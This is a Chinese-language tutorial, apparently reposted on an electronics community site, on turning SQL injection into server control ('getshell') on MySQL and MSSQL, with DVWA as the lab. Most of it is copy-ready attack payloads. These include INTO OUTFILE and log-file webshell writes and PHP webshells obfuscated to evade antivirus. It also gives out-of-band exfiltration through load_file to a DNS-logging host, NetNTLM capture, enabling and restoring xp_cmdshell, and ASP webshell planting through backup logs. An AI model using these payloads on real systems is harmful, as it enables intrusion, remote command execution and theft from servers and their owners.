SQL注入到Getshell的教程

电子说

1.3w人已加入

描述

 

0x00 前言

  上一节,我们已经介绍了基本的SQL查询语句,常见的SQL注入类型,DVWA靶场演示SQL注入。学习了上一节我们可以做到执行任意SQL语句,主要可以对数据库的数据进行操作,但是不能对服务器和应用进一步控制,本节就介绍下在有sql注入的情况下如何进行下一步的渗透,获取到服务器权限。

 

0x01 Getshell

  这里我们还是以上一节说的DVWA靶场为例,利用SQL注入漏洞写入webshell获取网站权限。

 

目标环境:

  PHP+MYSQL+LINUX

 

前提条件:

  - mysql 是root权限

  - 知道网站在服务器上的物理路径,且可写

  - 没有过滤单引号

  - `PHP`的`GPC`为 off状态

  - mysql <= 5.6.34

 

当`secure_file_priv`的值没有具体值时,表示不对`MySQL`的导入|导出做限制

  •  
SHOW VARIABLES LIKE "secure_file_priv";

 

如果是null,表示`MySQL`不允许导入导出。(NULL不等于没有空)

 

而且在`mysql 5.6.34`版本以后 `secure_file_priv` 的值默认为NULL,并且无法用`SQL`语句对其进行修改,并且会报错如下:

服务器

 

  •  
`docker run -itd --name dvwa1 -p 8111:80 vulnerables/web-dvwa:1.9`

 

下载低版本的mysql测试

服务器

 

利用outfile和dumpfile,**outfile会在每行添加反斜杠,可导出多行,dumpfile只能导出一行,不会添加反斜杠,适合导出二进制文件:

  •  
  •  
  •  
  •  
```?id=1' UNION ALL SELECT 1,'' into outfile '/tmp/info.php'#?id=1' UNION ALL SELECT 1,'' into dumpfile '/tmp/info.php'#```

 

如果不能使用union查询可以使用`fields terminated by`与`lines terminated by`:

  •  
  •  
  •  
```?id=1' into outfile '/tmp/info.php' FIELDS TERMINATED BY ''#```

 

修改配置getshell:

  •  
  •  
  •  
  •  
```vi /etc/mysql/my.cnfsecure_file_priv= "/"```

 

小tricks:

利用日志文件getshell

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
```show variables like '%general%';  --查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)set global general_log = on;    --开启日志监测,默认关闭(如果一直开文件会很大的)set global general_log_file = '/var/www/html/info.php';    --设置日志路径select ' phpinfo();?>';    --执行查询,写入shell
--SQL查询免杀shellselect " $sl = create_function('', @$_REQUEST['klion']);$sl();?>";SELECT " $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>";
--慢查询写shell,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。为什么要用慢查询写呢?上边说过开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错show global variables like '%long_query_time%'    --查看服务器默认时间值show variables like '%slow_query_log%';    --查看慢查询信息set global slow_query_log=1;        --启用慢查询日志(默认禁用)set global slow_query_log_file='C:\phpStudy\WWW\shell.php';  --修改日志文件路径select ' @eval($_POST[abc]);?>' or sleep(11);        --写shell```

 

0x02 OOB

  利用mysql的函数,把信息传递到外网控制的机器,例如文件读取的函数,其实是对上面利用的一种变形和深度利用

 

前提条件:

  - mysql <= 5.6.34

 

跟上面一样**secure_file_priv**,在5.6.34之前是空值,之后被设置为null,直接被禁止了

  •  
  •  
  •  
  •  
  •  
  •  
```select @@version into outfile '//192.168.126.149/temp/o';select @@version into dumpfile '//192.168.126.149/temp/o';select load_file(concat('\\',version(),'.dnslog.cn\a'));select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));```

 

这里可能被利用窃取NetNtlm或者SMBrelay

 

  •  
responder -I eth0 -rv

 

服务器

 

0x03 MSSQL 执行命令

  当碰到windows服务器上web应用有MSSQL注入时,可利用注入执行命令写webshell等

 

前提条件:

  - SQL Server 2005以后默认关闭,需要手动开启

 

查看xp_cmdshell是否开启,并且使用语句开启:

  •  
  •  
  •  
  •  
  •  
  •  
```exec sp_configure 'show advanced options', 1; RECONFIGURE;  exec sp_configure'xp_cmdshell', 1; RECONFIGURE;```

 

执行命令:

  •  
  •  
  •  
```exec master..xp_cmdshell 'whoami';```

 

如果xp_cmdshell被删除,我们可以利用xplog70.dll恢复被删除的xp_cmdshell

  •  
  •  
  •  
```Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\xplog70.dll'```

 

这里就涉及到上传文件:

1.利用sql语句写入

  •  
  •  
  •  
```exec sp_makewebtask  'c:\windows\temp\xx.dll','select''<%execute(request("cmd"))%>'''```

 

2.利用命令执行,写入或下载

  •  
  •  
  •  
```exec xp_cmdshell 'echo "<%execute(request("cmd"))%>">> c:\windows\temp\xx.dll)'```

 

3.db权限

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
```目录情况:create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));-- insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1-- select dir from temp where id=1  通过修改id来遍历目录写数据 alter database 数据库名 set RECOVERY FULL  开启恢复模式full,当恢复模式为 SIMPLE 时,不允许使用 BACKUP LOG 语句。create table test(str image)-- insert into test(str)values ('<%execute(request("cmd"))%>')-- backup log 数据库名 to disk='c:可读写路径x.asp'-- 这里的目录注意是可读写目录,不然会出问题alter database 数据库名 set RECOVERY simple-- 关闭恢复模式full```

 

其他:

  - COM组件利用

  - CLR利用

  - SQL Server 2016 R利用

  - SQL Server 2017 Python利用

  - 沙盒利用(openrowset)

  - Agent Job利用

 

0X04 总结

  SQL注入到Getshell

 

 

 审核编辑:汤梓红
打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分